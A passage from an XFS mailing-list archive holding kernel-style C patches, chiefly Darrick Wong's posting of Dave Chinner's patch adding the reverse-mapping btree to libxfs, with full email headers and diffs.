1; - return XFS_IBT_BLOCK(mp) + 1; -} diff --git a/libxfs/xfs_alloc.h b/libxfs/xfs_alloc.h index a9d8e97..35b60ae 100644 --- a/libxfs/xfs_alloc.h +++ b/libxfs/xfs_alloc.h @@ -94,8 +94,6 @@ typedef unsigned int xfs_alloctype_t; #define XFS_ALLOC_AG_MAX_USABLE(mp) \ ((mp)->m_sb.sb_agblocks - XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)) - 7) -xfs_extlen_t xfs_prealloc_blocks(struct xfs_mount *mp); - /* * Argument structure for xfs_alloc routines. * This is turned into a structure to avoid having 20 arguments passed @@ -241,4 +239,6 @@ int xfs_read_agf(struct xfs_mount *mp, struct xfs_trans *tp, xfs_agnumber_t agno, int flags, struct xfs_buf **bpp); int xfs_alloc_fix_freelist(struct xfs_alloc_arg *args, int flags); +xfs_extlen_t xfs_prealloc_blocks(struct xfs_mount *mp); + #endif /* __XFS_ALLOC_H__ */ From darrick.wong@oracle.com Wed Oct 7 00:06:22 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A130F29E6E for ; Wed, 7 Oct 2015 00:06:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 90D168F8035 for ; Tue, 6 Oct 2015 22:06:22 -0700 (PDT) X-ASG-Debug-ID: 1444194376-04cbb03f140d9a0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id PXNvwGeaqrIbaQbC (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 22:06:16 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9756EHq019393 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 05:06:15 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9756EYa026891 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 05:06:14 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9756DPk022158; Wed, 7 Oct 2015 05:06:13 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 22:06:12 -0700 Subject: [PATCH 09/51] libxfs: add the reverse-mapping btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 09/51] libxfs: add the reverse-mapping btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 22:06:11 -0700 Message-ID: <20151007050611.1504.54348.stgit@birch.djwong.org> In-Reply-To: <20151007050513.1504.28089.stgit@birch.djwong.org> References: <20151007050513.1504.28089.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444194376 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 1.10 X-Barracuda-Spam-Status: No, SCORE=1.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA081, UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines 1.10 BSF_SC0_SA081 Custom Rule SA081 >From : Dave Chinner Provide the basic libxfs code for the rmap btree from the kernel. Signed-off-by: Dave Chinner [split patch, add commit message] Signed-off-by: Darrick J. Wong --- include/libxfs.h | 1 include/xfs_mount.h | 2 include/xfs_trace.h | 7 + libxfs/Makefile | 3 libxfs/xfs_alloc.c | 27 +++ libxfs/xfs_alloc.h | 6 + libxfs/xfs_bmap.c | 3 libxfs/xfs_bmap_btree.c | 1 libxfs/xfs_btree.h | 22 ++ libxfs/xfs_format.h | 86 ++++++++- libxfs/xfs_ialloc.c | 1 libxfs/xfs_ialloc_btree.c | 1 libxfs/xfs_rmap.c | 413 +++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_rmap_btree.c | 404 ++++++++++++++++++++++++++++++++++++++++++++ libxfs/xfs_rmap_btree.h | 65 +++++++ libxfs/xfs_sb.c | 6 + libxfs/xfs_shared.h | 1 libxfs/xfs_types.h | 4 18 files changed, 1032 insertions(+), 21 deletions(-) create mode 100644 libxfs/xfs_rmap.c create mode 100644 libxfs/xfs_rmap_btree.c create mode 100644 libxfs/xfs_rmap_btree.h diff --git a/include/libxfs.h b/include/libxfs.h index b1604e2..662dc30 100644 --- a/include/libxfs.h +++ b/include/libxfs.h @@ -66,6 +66,7 @@ extern uint32_t crc32c_le(uint32_t crc, unsigned char const *p, size_t len); #include "xfs_bmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_ialloc_btree.h" +#include "xfs_rmap_btree.h" #include "xfs_attr_sf.h" #include "xfs_inode_fork.h" #include "xfs_inode_buf.h" diff --git a/include/xfs_mount.h b/include/xfs_mount.h index ed897a2..9978769 100644 --- a/include/xfs_mount.h +++ b/include/xfs_mount.h @@ -64,6 +64,8 @@ typedef struct xfs_mount { uint m_bmap_dmnr[2]; /* XFS_BMAP_BLOCK_DMINRECS */ uint m_inobt_mxr[2]; /* XFS_INOBT_BLOCK_MAXRECS */ uint m_inobt_mnr[2]; /* XFS_INOBT_BLOCK_MINRECS */ + uint m_rmap_mxr[2]; /* max rmap btree records */ + uint m_rmap_mnr[2]; /* min rmap btree records */ uint m_ag_maxlevels; /* XFS_AG_MAXLEVELS */ uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* XFS_IN_MAXLEVELS */ diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 423772f..ebdf778 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -171,4 +171,11 @@ #define trace_xfs_perag_get_tag(a,b,c,d) ((c) = (c)) #define trace_xfs_perag_put(a,b,c,d) ((c) = (c)) +#define trace_xfs_rmap_alloc_extent(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmap_alloc_extent_done(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmap_alloc_extent_error(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmap_free_extent(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmap_free_extent_done(a,b,c,d,e) ((void) 0) +#define trace_xfs_rmap_free_extent_error(a,b,c,d,e) ((void) 0) + #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index ecf1921..3255917 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -35,6 +35,7 @@ HFILES = \ xfs_inode_buf.h \ xfs_inode_fork.h \ xfs_quota_defs.h \ + xfs_rmap_btree.h \ xfs_sb.h \ xfs_shared.h \ xfs_trans_resv.h \ @@ -80,6 +81,8 @@ CFILES = cache.c \ xfs_ialloc_btree.c \ xfs_log_rlimit.c \ xfs_rtbitmap.c \ + xfs_rmap.c \ + xfs_rmap_btree.c \ xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/xfs_alloc.c b/libxfs/xfs_alloc.c index 4f3008a..9141b58 100644 --- a/libxfs/xfs_alloc.c +++ b/libxfs/xfs_alloc.c @@ -26,6 +26,7 @@ #include "xfs_mount.h" #include "xfs_inode.h" #include "xfs_btree.h" +#include "xfs_rmap_btree.h" #include "xfs_alloc_btree.h" #include "xfs_alloc.h" #include "xfs_cksum.h" @@ -629,6 +630,12 @@ xfs_alloc_ag_vextent( ASSERT(!args->wasfromfl || !args->isfl); ASSERT(args->agbno % args->alignment == 0); + /* insert new block into the reverse map btree */ + error = xfs_rmap_alloc(args->tp, args->agbp, args->agno, + args->agbno, args->len, args->owner); + if (error) + return error; + if (!args->wasfromfl) { error = xfs_alloc_update_counters(args->tp, args->pag, args->agbp, @@ -2013,6 +2020,7 @@ xfs_alloc_fix_freelist( memset(&targs, 0, sizeof(targs)); targs.tp = tp; targs.mp = mp; + targs.owner = XFS_RMAP_OWN_AG; targs.agbp = agbp; targs.agno = args->agno; targs.alignment = targs.minlen = targs.prod = targs.isfl = 1; @@ -2643,6 +2651,8 @@ error0: * Free an extent. * Just break up the extent address and hand off to xfs_free_ag_extent * after fixing up the freelist. + * + * XXX: need owner of extent being freed */ int /* error */ xfs_free_extent( @@ -2684,6 +2694,12 @@ xfs_free_extent( goto error0; } + /* XXX: need owner */ + error = xfs_rmap_free(tp, args.agbp, args.agno, args.agbno, len, 0); + if (error) + goto error0; + + /* XXX: initially no multiple references, so just free it */ error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); if (!error) xfs_extent_busy_insert(tp, args.agno, args.agbno, len, 0); @@ -2691,3 +2707,14 @@ error0: xfs_perag_put(args.pag); return error; } + +xfs_extlen_t +xfs_prealloc_blocks( + struct xfs_mount *mp) +{ + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + return XFS_RMAP_BLOCK(mp) + 1; + if (xfs_sb_version_hasfinobt(&mp->m_sb)) + return XFS_FIBT_BLOCK(mp) + 1; + return XFS_IBT_BLOCK(mp) + 1; +} diff --git a/libxfs/xfs_alloc.h b/libxfs/xfs_alloc.h index 071b28b..a9d8e97 100644 --- a/libxfs/xfs_alloc.h +++ b/libxfs/xfs_alloc.h @@ -72,6 +72,8 @@ typedef unsigned int xfs_alloctype_t; * needed freelist blocks is 4 fsbs _per AG_, a potential split of file's bmap * btree requires 1 fsb, so we set the number of set-aside blocks * to 4 + 4*agcount. + * + * XXX: this changes for rmapbt filesystems. */ #define XFS_ALLOC_SET_ASIDE(mp) (4 + ((mp)->m_sb.sb_agcount * 4)) @@ -86,10 +88,13 @@ typedef unsigned int xfs_alloctype_t; * * The AG headers are sector sized, so the amount of space they take up is * dependent on filesystem geometry. The others are all single blocks. + * + * XXX: this changes for rmapbt filesystems. */ #define XFS_ALLOC_AG_MAX_USABLE(mp) \ ((mp)->m_sb.sb_agblocks - XFS_BB_TO_FSB(mp, XFS_FSS_TO_BB(mp, 4)) - 7) +xfs_extlen_t xfs_prealloc_blocks(struct xfs_mount *mp); /* * Argument structure for xfs_alloc routines. @@ -122,6 +127,7 @@ typedef struct xfs_alloc_arg { char isfl; /* set if is freelist blocks - !acctg */ char userdata; /* set if this is user data */ xfs_fsblock_t firstblock; /* io first block allocated */ + uint64_t owner; /* owner of blocks being allocated */ } xfs_alloc_arg_t; /* diff --git a/libxfs/xfs_bmap.c b/libxfs/xfs_bmap.c index 46f8469..87a6918 100644 --- a/libxfs/xfs_bmap.c +++ b/libxfs/xfs_bmap.c @@ -769,6 +769,7 @@ xfs_bmap_extents_to_btree( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = mp; + args.owner = ip->i_ino; args.firstblock = *firstblock; if (*firstblock == NULLFSBLOCK) { args.type = XFS_ALLOCTYPE_START_BNO; @@ -915,6 +916,7 @@ xfs_bmap_local_to_extents( memset(&args, 0, sizeof(args)); args.tp = tp; args.mp = ip->i_mount; + args.owner = ip->i_ino; args.firstblock = *firstblock; /* * Allocate a block. We know we need only one, since the @@ -3695,6 +3697,7 @@ xfs_bmap_btalloc( memset(&args, 0, sizeof(args)); args.tp = ap->tp; args.mp = mp; + args.owner = ap->ip->i_ino; args.fsbno = ap->blkno; /* Trim the allocation back to the maximum an AG can fit. */ diff --git a/libxfs/xfs_bmap_btree.c b/libxfs/xfs_bmap_btree.c index 088d74d..c928abf 100644 --- a/libxfs/xfs_bmap_btree.c +++ b/libxfs/xfs_bmap_btree.c @@ -443,6 +443,7 @@ xfs_bmbt_alloc_block( args.mp = cur->bc_mp; args.fsbno = cur->bc_private.b.firstblock; args.firstblock = args.fsbno; + args.owner = cur->bc_private.b.ip->i_ino; if (args.fsbno == NULLFSBLOCK) { args.fsbno = be64_to_cpu(start->l); diff --git a/libxfs/xfs_btree.h b/libxfs/xfs_btree.h index 8f18bab..48ab2b1 100644 --- a/libxfs/xfs_btree.h +++ b/libxfs/xfs_btree.h @@ -38,17 +38,19 @@ union xfs_btree_ptr { }; union xfs_btree_key { - xfs_bmbt_key_t bmbt; - xfs_bmdr_key_t bmbr; /* bmbt root block */ - xfs_alloc_key_t alloc; - xfs_inobt_key_t inobt; + struct xfs_bmbt_key bmbt; + xfs_bmdr_key_t bmbr; /* bmbt root block */ + xfs_alloc_key_t alloc; + struct xfs_inobt_key inobt; + struct xfs_rmap_key rmap; }; union xfs_btree_rec { - xfs_bmbt_rec_t bmbt; - xfs_bmdr_rec_t bmbr; /* bmbt root block */ - xfs_alloc_rec_t alloc; - xfs_inobt_rec_t inobt; + struct xfs_bmbt_rec bmbt; + xfs_bmdr_rec_t bmbr; /* bmbt root block */ + struct xfs_alloc_rec alloc; + struct xfs_inobt_rec inobt; + struct xfs_rmap_rec rmap; }; /* @@ -63,6 +65,7 @@ union xfs_btree_rec { #define XFS_BTNUM_BMAP ((xfs_btnum_t)XFS_BTNUM_BMAPi) #define XFS_BTNUM_INO ((xfs_btnum_t)XFS_BTNUM_INOi) #define XFS_BTNUM_FINO ((xfs_btnum_t)XFS_BTNUM_FINOi) +#define XFS_BTNUM_RMAP ((xfs_btnum_t)XFS_BTNUM_RMAPi) /* * For logging record fields. @@ -94,6 +97,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_INC(bmbt, stat); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_INC(ibt, stat); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_INC(fibt, stat); break; \ + case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_INC(rmap, stat); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -108,6 +112,7 @@ do { \ case XFS_BTNUM_BMAP: __XFS_BTREE_STATS_ADD(bmbt, stat, val); break; \ case XFS_BTNUM_INO: __XFS_BTREE_STATS_ADD(ibt, stat, val); break; \ case XFS_BTNUM_FINO: __XFS_BTREE_STATS_ADD(fibt, stat, val); break; \ + case XFS_BTNUM_RMAP: __XFS_BTREE_STATS_ADD(rmap, stat, val); break; \ case XFS_BTNUM_MAX: ASSERT(0); /* fucking gcc */ ; break; \ } \ } while (0) @@ -199,6 +204,7 @@ typedef struct xfs_btree_cur xfs_alloc_rec_incore_t a; xfs_bmbt_irec_t b; xfs_inobt_rec_incore_t i; + struct xfs_rmap_irec r; } bc_rec; /* current insert/search record value */ struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ int bc_ptrs[XFS_BTREE_MAXLEVELS]; /* key/record # */ diff --git a/libxfs/xfs_format.h b/libxfs/xfs_format.h index 3c98635..4931198 100644 --- a/libxfs/xfs_format.h +++ b/libxfs/xfs_format.h @@ -447,8 +447,10 @@ xfs_sb_has_compat_feature( } #define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ +#define XFS_SB_FEAT_RO_COMPAT_RMAPBT (1 << 1) /* reverse map btree */ #define XFS_SB_FEAT_RO_COMPAT_ALL \ - (XFS_SB_FEAT_RO_COMPAT_FINOBT) + (XFS_SB_FEAT_RO_COMPAT_FINOBT | \ + XFS_SB_FEAT_RO_COMPAT_RMAPBT) #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL static inline bool xfs_sb_has_ro_compat_feature( @@ -513,6 +515,12 @@ static inline int xfs_sb_version_hasfinobt(xfs_sb_t *sbp) (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_FINOBT); } +static inline bool xfs_sb_version_hasrmapbt(struct xfs_sb *sbp) +{ + return (XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) && + (sbp->sb_features_ro_compat & XFS_SB_FEAT_RO_COMPAT_RMAPBT); +} + static inline bool xfs_sb_version_hassparseinodes(struct xfs_sb *sbp) { return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && @@ -591,10 +599,10 @@ xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) #define XFS_AGI_GOOD_VERSION(v) ((v) == XFS_AGI_VERSION) /* - * Btree number 0 is bno, 1 is cnt. This value gives the size of the + * Btree number 0 is bno, 1 is cnt, 2 is rmap. This value gives the size of the * arrays below. */ -#define XFS_BTNUM_AGF ((int)XFS_BTNUM_CNTi + 1) +#define XFS_BTNUM_AGF ((int)XFS_BTNUM_RMAPi + 1) /* * The second word of agf_levels in the first a.g. overlaps the EFS @@ -611,12 +619,10 @@ typedef struct xfs_agf { __be32 agf_seqno; /* sequence # starting from 0 */ __be32 agf_length; /* size in blocks of a.g. */ /* - * Freespace information + * Freespace and rmap information */ __be32 agf_roots[XFS_BTNUM_AGF]; /* root blocks */ - __be32 agf_spare0; /* spare field */ __be32 agf_levels[XFS_BTNUM_AGF]; /* btree levels */ - __be32 agf_spare1; /* spare field */ __be32 agf_flfirst; /* first freelist block's index */ __be32 agf_fllast; /* last freelist block's index */ @@ -1293,16 +1299,74 @@ typedef __be32 xfs_inobt_ptr_t; #define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) /* - * The first data block of an AG depends on whether the filesystem was formatted - * with the finobt feature. If so, account for the finobt reserved root btree - * block. + * Reverse mapping btree format definitions + * + * There is a btree for the reverse map per allocation group + */ +#define XFS_RMAP_CRC_MAGIC 0x524d4233 /* 'RMB3' */ + +/* + * Special owner types. + * + * Seeing as we only support up to 8EB, we have the upper bit of the owner field + * to tell us we have a special owner value. We use these for static metadata + * allocated at mkfs/growfs time, as well as for freespace management metadata. */ -#define XFS_PREALLOC_BLOCKS(mp) \ +#define XFS_RMAP_OWN_NULL (-1ULL) /* No owner, for growfs */ +#define XFS_RMAP_OWN_UNKNOWN (-2ULL) /* Unknown owner, for EFI recovery */ +#define XFS_RMAP_OWN_FS (-3ULL) /* static fs metadata */ +#define XFS_RMAP_OWN_LOG (-4ULL) /* static fs metadata */ +#define XFS_RMAP_OWN_AG (-5ULL) /* AG freespace btree blocks */ +#define XFS_RMAP_OWN_INOBT (-6ULL) /* Inode btree blocks */ +#define XFS_RMAP_OWN_INODES (-7ULL) /* Inode chunk */ +#define XFS_RMAP_OWN_MIN (-8ULL) /* guard */ + +/* + * Data record structure + */ +struct xfs_rmap_rec { + __be32 rm_startblock; /* extent start block */ + __be32 rm_blockcount; /* extent length */ + __be64 rm_owner; /* extent owner */ +}; + +struct xfs_rmap_irec { + xfs_agblock_t rm_startblock; /* extent start block */ + xfs_extlen_t rm_blockcount; /* extent length */ + __uint64_t rm_owner; /* extent owner */ +}; + +/* + * Key structure + * + * We don't use the length for lookups + */ +struct xfs_rmap_key { + __be32 rm_startblock; /* extent start block */ +}; + +/* btree pointer type */ +typedef __be32 xfs_rmap_ptr_t; + +/* + * block numbers in the AG. + */ +#define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) +#define XFS_RMAP_BLOCK(mp) \ (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ XFS_FIBT_BLOCK(mp) + 1 : \ XFS_IBT_BLOCK(mp) + 1) - +/* + * The first data block of an AG depends on whether the filesystem was formatted + * with the optional btree features. These need to be accounted for + * appropriately. + * + * XXX: this should be calculated once at mount time and stored in the struct + * xfs_mount rather than calculated every time it is used. + */ +#define XFS_PREALLOC_BLOCKS(mp) xfs_prealloc_blocks(mp) /* * BMAP Btree format definitions diff --git a/libxfs/xfs_ialloc.c b/libxfs/xfs_ialloc.c index 8fffb54..b22ec2f 100644 --- a/libxfs/xfs_ialloc.c +++ b/libxfs/xfs_ialloc.c @@ -615,6 +615,7 @@ xfs_ialloc_ag_alloc( args.mp->m_ialloc_min_blks < args.mp->m_ialloc_blks) do_sparse = prandom_u32() & 1; #endif + args.owner = XFS_RMAP_OWN_INODES; /* * Locking will ensure that we don't have two callers in here diff --git a/libxfs/xfs_ialloc_btree.c b/libxfs/xfs_ialloc_btree.c index 09ffdb4..ffeab1e 100644 --- a/libxfs/xfs_ialloc_btree.c +++ b/libxfs/xfs_ialloc_btree.c @@ -95,6 +95,7 @@ xfs_inobt_alloc_block( memset(&args, 0, sizeof(args)); args.tp = cur->bc_tp; args.mp = cur->bc_mp; + args.owner = XFS_RMAP_OWN_INOBT; args.fsbno = XFS_AGB_TO_FSB(args.mp, cur->bc_private.a.agno, sbno); args.minlen = 1; args.maxlen = 1; diff --git a/libxfs/xfs_rmap.c b/libxfs/xfs_rmap.c new file mode 100644 index 0000000..b2a3330 --- /dev/null +++ b/libxfs/xfs_rmap.c @@ -0,0 +1,413 @@ + +/* + * Copyright (c) 2014 Red Hat, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include "libxfs_priv.h" +#include "xfs_fs.h" +#include "xfs_shared.h" +#include "xfs_format.h" +#include "xfs_log_format.h" +#include "xfs_trans_resv.h" +#include "xfs_bit.h" +#include "xfs_sb.h" +#include "xfs_mount.h" +#include "xfs_da_format.h" +#include "xfs_da_btree.h" +#include "xfs_btree.h" +#include "xfs_trans.h" +#include "xfs_alloc.h" +#include "xfs_rmap_btree.h" +#include "xfs_trans_space.h" +#include "xfs_trace.h" + + +/* + * Lookup the first record less than or equal to [bno, len] + * in the btree given by cur. + */ +STATIC int +xfs_rmap_lookup_le( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner, + int *stat) +{ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); +} + +/* + * Update the record referred to by cur to the value given + * by [bno, len, ref]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_rmap_update( + struct xfs_btree_cur *cur, + struct xfs_rmap_irec *irec) +{ + union xfs_btree_rec rec; + + rec.rmap.rm_startblock = cpu_to_be32(irec->rm_startblock); + rec.rmap.rm_blockcount = cpu_to_be32(irec->rm_blockcount); + rec.rmap.rm_owner = cpu_to_be64(irec->rm_owner); + return xfs_btree_update(cur, &rec); +} + +/* + * Get the data from the pointed-to record. + */ +STATIC int +xfs_rmap_get_rec( + struct xfs_btree_cur *cur, + struct xfs_rmap_irec *irec, + int *stat) +{ + union xfs_btree_rec *rec; + int error; + + error = xfs_btree_get_rec(cur, &rec, stat); + if (error || !*stat) + return error; + + irec->rm_startblock = be32_to_cpu(rec->rmap.rm_startblock); + irec->rm_blockcount = be32_to_cpu(rec->rmap.rm_blockcount); + irec->rm_owner = be64_to_cpu(rec->rmap.rm_owner); + return 0; +} + +/* + * Find the extent in the rmap btree and remove it. + * + * The record we find should always span a range greater than or equal to the + * the extent being freed. This makes the code simple as, in theory, we do not + * have to handle ranges that are split across multiple records as extents that + * result in bmap btree extent merges should also result in rmap btree extent + * merges. The owner field ensures we don't merge extents from different + * structures into the same record, hence this property should always hold true + * if we ensure that the rmap btree supports at least the same size maximum + * extent as the bmap btree (2^21 blocks at present). + * + * Complexity: when growing the filesystem, we "free" an extent when growing the + * last AG. This extent is new space and so it is not tracked as used space in + * the btree. The growfs code will pass in an owner of XFS_RMAP_OWN_NULL to + * indicate that it expected that there is no owner of this extent. We verify + * that - the extent lookup result in a record that does not overlap. + * + * Complexity #2: EFIs do not record the owner of the extent, so when recovering + * EFIs from the log we pass in XFS_RMAP_OWN_UNKNOWN to tell the rmap btree to + * ignore the owner (i.e. wildcard match) so we don't trigger corruption checks + * during log recovery. + */ +int +xfs_rmap_free( + struct xfs_trans *tp, + struct xfs_buf *agbp, + xfs_agnumber_t agno, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner) +{ + struct xfs_btree_cur *cur; + struct xfs_mount *mp = tp->t_mountp; + struct xfs_rmap_irec ltrec; + int error; + int i; + + /* + * if rmap btree is not supported, then just return success without + * doing anything. + */ + if (!xfs_sb_version_hasrmapbt(&tp->t_mountp->m_sb)) + return 0; + + trace_xfs_rmap_free_extent(mp, agno, bno, len, owner); + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + + /* + * We always have a left record because there's a static record + * for the AG headers at rm_startblock == 0. + */ + error = xfs_rmap_lookup_le(cur, bno, len, owner, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + error = xfs_rmap_get_rec(cur, <rec, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + + /* special growfs case - bno is beyond last record */ + if (owner == XFS_RMAP_OWN_NULL) { + XFS_WANT_CORRUPTED_GOTO(mp, bno > ltrec.rm_startblock + + ltrec.rm_blockcount, out_error); + goto out_done; + } + + /* make sure the extent we found covers the entire freeing range. */ + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_startblock <= bno, out_error); + XFS_WANT_CORRUPTED_GOTO(mp, ltrec.rm_blockcount >= len, out_error); + +/* + if (owner != ltrec.rm_owner || + bno > ltrec.rm_startblock + ltrec.rm_blockcount) + */ + //printk("rmfree ag %d bno 0x%x/0x%x/0x%llx, ltrec 0x%x/0x%x/0x%llx\n", + // agno, bno, len, owner, ltrec.rm_startblock, + // ltrec.rm_blockcount, ltrec.rm_owner); + XFS_WANT_CORRUPTED_GOTO(mp, bno <= ltrec.rm_startblock + ltrec.rm_blockcount, + out_error); + XFS_WANT_CORRUPTED_GOTO(mp, owner == ltrec.rm_owner || + (owner < XFS_RMAP_OWN_NULL && + owner >= XFS_RMAP_OWN_MIN), out_error); + + /* exact match is easy */ + if (ltrec.rm_startblock == bno && ltrec.rm_blockcount == len) { + //printk("remove exact\n"); + /* remove extent from rmap tree */ + error = xfs_btree_delete(cur, &i); + if (error) + goto out_error; + XFS_WANT_CORRUPTED_GOTO(mp, i == 1, out_error); + } else if (ltrec.rm_startblock == bno) { + //printk("remove left\n"); + /* + * overlap left hand side of extent + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrrrrrrr| + * bno len + */ + ltrec.rm_startblock += len; + ltrec.rm_blockcount -= len; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else if (ltrec.rm_startblock + ltrec.rm_blockcount == bno + len) { + //printk("remove right\n"); + /* + * overlap right hand side of extent + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrrrrrrr| + * bno len + */ + ltrec.rm_blockcount -= len; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + } else { + /* + * overlap middle of extent + * + * ltbno ltlen + * Orig: |oooooooooooooooooooo| + * Freeing: |fffffffff| + * Result: |rrrrr| |rrrr| + * bno len + */ + xfs_extlen_t orig_len = ltrec.rm_blockcount; + //printk("remove middle\n"); + + ltrec.rm_blockcount = bno - ltrec.rm_startblock;; + error = xfs_rmap_update(cur, <rec); + if (error) + goto out_error; + + error = xfs_btree_increment(cur, 0, &i); + if (error) + goto out_error; + + cur->bc_rec.r.rm_startblock = bno + len; + cur->bc_rec.r.rm_blockcount = orig_len - len - + ltrec.rm_blockcount; + cur->bc_rec.r.rm_owner = ltrec.rm_owner; + error = xfs_btree_insert(cur, &i); + if (error) + goto out_error; + } + +out_done: + trace_xfs_rmap_free_extent_done(mp, agno, bno, len, owner); + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); + return 0; + +out_error: + trace_xfs_rmap_free_extent_error(mp, agno, bno, len, owner); + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); + return error; +} + +/* + * When we allocate a new block, the first thing we do is add a reference to the + * extent in the rmap btree. This is how we track the owner of the extent and th + * enumber of references to it. + * + * Initially, we do not have shared extents, and so the extent can only have a + * single reference count and owner. This makes the initial implementation easy, + * but does not allow us to use the rmap tree for tracking reflink shared files. + * Hence the initial implementation is simply a lookup to find the place to + * insert (and 